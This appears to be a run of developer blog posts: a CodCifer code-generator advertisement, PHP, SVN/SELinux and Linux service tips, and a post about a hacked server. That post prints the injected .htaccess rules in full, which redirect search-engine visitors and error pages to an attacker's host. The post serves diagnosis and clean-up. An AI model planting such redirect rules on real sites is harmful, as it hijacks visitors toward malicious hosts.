CodCifer – Saving time and Money is not just the main criteria!

With our new product CodCifer (#CodCifer.com) our main goal was not only to save time and cost. CodCifer is built with passion and love towards the developer community to help them in several ways. There were various hidden things that gets done during the development. CodCifer hence is not just about saving time and money, we can help reduce a lot of unwanted effort by the software developer at various stages.

This advanced GUI based source code generation tool not only helps you generate source code easily, but it also comes with many of the features as given below:

Standard Compliance

The source code generated using CodCifer is ensured to meet the standards set by the respective APIs. This ensures that the source code generated by one developer/agency is also easily manageable by others. There are also no Additional API Code used to achieve a specific task. The code is pure, plain and simple.

Uncompromised Quality, Security & Performance

We have tested and checked the generated source code to ensure it does not have any security loop holes. In all possible places the framework’s standards and best coding practices set by the community for quality and security and performance are followed.

Server Side Validation

New Browsers and computers are sure very powerful enough to run modern JavaScript and HTML5 based applications. But it does not mean a developer can ignore the validations at the server side. If you ignore to add server side validations, the consequences can be detrimental. Server side validations are thus a part of our build process.

Client Side Validations

Client side validations are an integral part of the web applications to ease the life of the end users. Client side validations are done in CodCifer using the HTML5 standards as well as the respective JavaScript or HTML frameworks. Bootstrap and jQuery have their own way of doing validations. These are part of the source code generated.

Plugins/Modules/Extensions

Most of the backend frameworks like Symfony, Laravel, CodeIgniter and TYPO3 ExtBase have the ability to put our custom code as either plugin or extension or a module. CodCifer helps you specify a name for such a module, and thus the code you get is not going to change the core.

Migrations between frameworks

Consider there is an application written in some old obsolete framework. The client now insists that he wants Symfony.

Let us Imagine the amount of time and effort needed to migrate.

We started coding with Symfony, and say 10-15 days have passed. Our client met a friend who said Laravel is much cooler! Now client is hesitant to use Symfony!

What if we don’t have a developer who knows Laravel? But we do have expert developers, who can learn and work on Laravel?

Well such cases happen, and are quite common. We usually protect ourself with the initial agreements made with the client. What if the other framework he mentioned was really better for his needs? The time and cost factors may not permit us to proceed even at an early stage. Client may have to stick to the previously selected framework or he may be hard pressed on his choice and thus we may lose the project.

CodCifer is quite helpful in such scenarios. It can take the DB schema from the old application. Then you can define the form inputs using GUI, and proceed to generate source code in any framework the client needs.

Re-Usable!

CodCifer architecture is built with re-usability in mind. There are several ways in which this can be achieved.

  1. Re-use a previously defined project.
    Consider we got a project, which is very much similar to the project that is completed and released about 6 months ago.
    Can we really re-use any of it’s model / controllers / table structure?
    The possibilities can vary, and in most cases the chances are quite less. We have to change an already completed project, which is made to suit a specific needs. The project may share similar database model, but the busniness logics could be different. The time and effort needed may be lot more than doing it from scratch.On the other hand, CodCifer lets you clone a project with one click! All you will need to add is the business and design logics to suit this new client’s requiremnts.
  2. Re-use frequently used tables / fields using Generic Imports
    In software development there are a set of common tables and fields, that are usually part of every project. One project may need some tables, the other project may not need the same set of tables. Such needs are usually handled using manual copy/paste procedures on either file or codes, or even by removing un-used tables / code from a dumy codebase we usually keep.CodCifer has an advanced mechanism here. We call it Generic Imports, we can define such common tables under various groups, and import into our project whenever the need arises.

Customizable to your needs

Each Corporate Agency usually has his own additional API or extra set of features, that they usually add to every software they write.

Such as an extra DB Layer, or file upload layer, Validation Layers and so on. They may even wish to add a set of codes in each controller or model or a set of additional methods for each controller, and so on.

If there is any such customization requirements, CodCifer Corporate plans are for you. We offer customizations to suit your exact needs.

Run on own server

If a corporate wants, we can provide the VM images, that helps you run CodCifer on your own intranet/internet servers.

Easy to Maintain

A standard method of coding, also ensure that the end code is also easy to maintain. This is a big game changer as it helps save huge cost of maintenance to the client at a late point of time.

One GUI for all

Today CodCifer supports 4 backend frameworks.

Symfony, Laravel, CodeIgniter and TYPO3 ExtBase were initially chosen by us. Support for Django, NodeJS is in pipeline.

On the front-end side BootStrap is used as the HTML Framework and jQuery handles the JavaScript codes. Support for Foundation, 960.gs and Skeleton are in planned for the next version release. In this second version we also planned that jQuery would be accompanied by ExtJS, AngularJS, Ember.js and ReactJS.

This frameowrk support would be increased with time. Thus a common GUI for various frameworks and which is so easy to use that even a freasher can easily generate the source code without much hassle.

Allowed memory size of … bytes exhausted

Recently, I had to do a t3d export/import, where the data size was nearly 2GB, and no matter what memory_limit we tried, it always failed. Finally we tried memory_limit = -1, which basically removes the memory limit, and lets us use the max available memory of the Operating System.

Often we may need some special setup for a special case/cause.

Recently, I had to do a t3d export/import, where the data size was nearly 2GB, and no matter what memory_limit we tried, it always failed.

Finally we tried memory_limit = -1, which basically removes the memory limit, and lets us use the max available memory of the Operating System.

This solution did helped us, and we were able to do the export smoothly.

CAUTION: On a production server try not to do this, if we forget to revert this change, things can get worse!
Instead make a local copy, and then we have a total freedom.

SVN Errorcode 13 due to SeLinux, Could not open the requested SVN filesystem

When we recently installed SVN on CentOS, we came across the following error message:

<m:human-readable errcode=”13″>Could not open the requested SVN filesystem</m:human-readable>

This seems to be due to incorrect setting of the SeLinux content. This can be changed by the following command:

chcon -R -h -t httpd_sys_content_t /PATH_TO_REPOSITORY/

ex:

chcon -R -h -t httpd_sys_content_t /home/svnRepo

Technorati : , ,
Del.icio.us : , ,

Exploit Search Engine Attack – bitrid

Recently one of my friend had his server attacked by a hacker, and they were able to modify the .htaccess file.
They had added several redirect conditions and ErrorDocument conditions.

He was really worried that AVG Antivirus was reporting the virus “Exploit Search Engine Attack – ~bitrid/” and was blocking access.
I really loved AVG Antivirus, and credit goes to their forum with a hint on some kind of redirect script.

The .htaccess had the following code which was causing this issue.
Probably if you come across any such issue it is better to look into the .htaccess files.
You might also check with the hosting company probably they may review the system security.

RewriteEngine On

RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule ^(.*)$ http: // 1502998896/~bitrid/ [R=301,L]

ErrorDocument 401 http: //1502998896/~bitrid/
ErrorDocument 403 http: //1502998896/~bitrid/
ErrorDocument 404 http: //1502998896/~bitrid/
ErrorDocument 500 http: //1502998896/~bitrid/

I still wonder how the hacker could modify the .htaccess, and they never touched any othe files!!!
I just Hope no one else gets affected this way 😉

Some of the most important things to know about Linux

 

These settings are applicable to Redhat/ Fedora / CentOS and I am not aware if this holds good even on other Distros.

Important File / Folder Locations

  • Location of HTTPD (Apache) Configuration File:
    /etc/httpd/conf/httpd.conf
  • Location of PHP Configuration File (php.ini):
    /etc/php.ini

Service Related Information

Enabling / Disabling Services
The chkconfig command can be used for enabling / disabling services on Redhat based linux distributions.

EX: # chkconfig httpd –add
EX: # chkconfig httpd on
EX: # chkconfig –list httpd
EX: # chkconfig httpd of
EX: # chkconfig httpd –del

Starting / stopping / a service

service <service name> start/stop
EX: # service httpd stop
EX: # service httpd start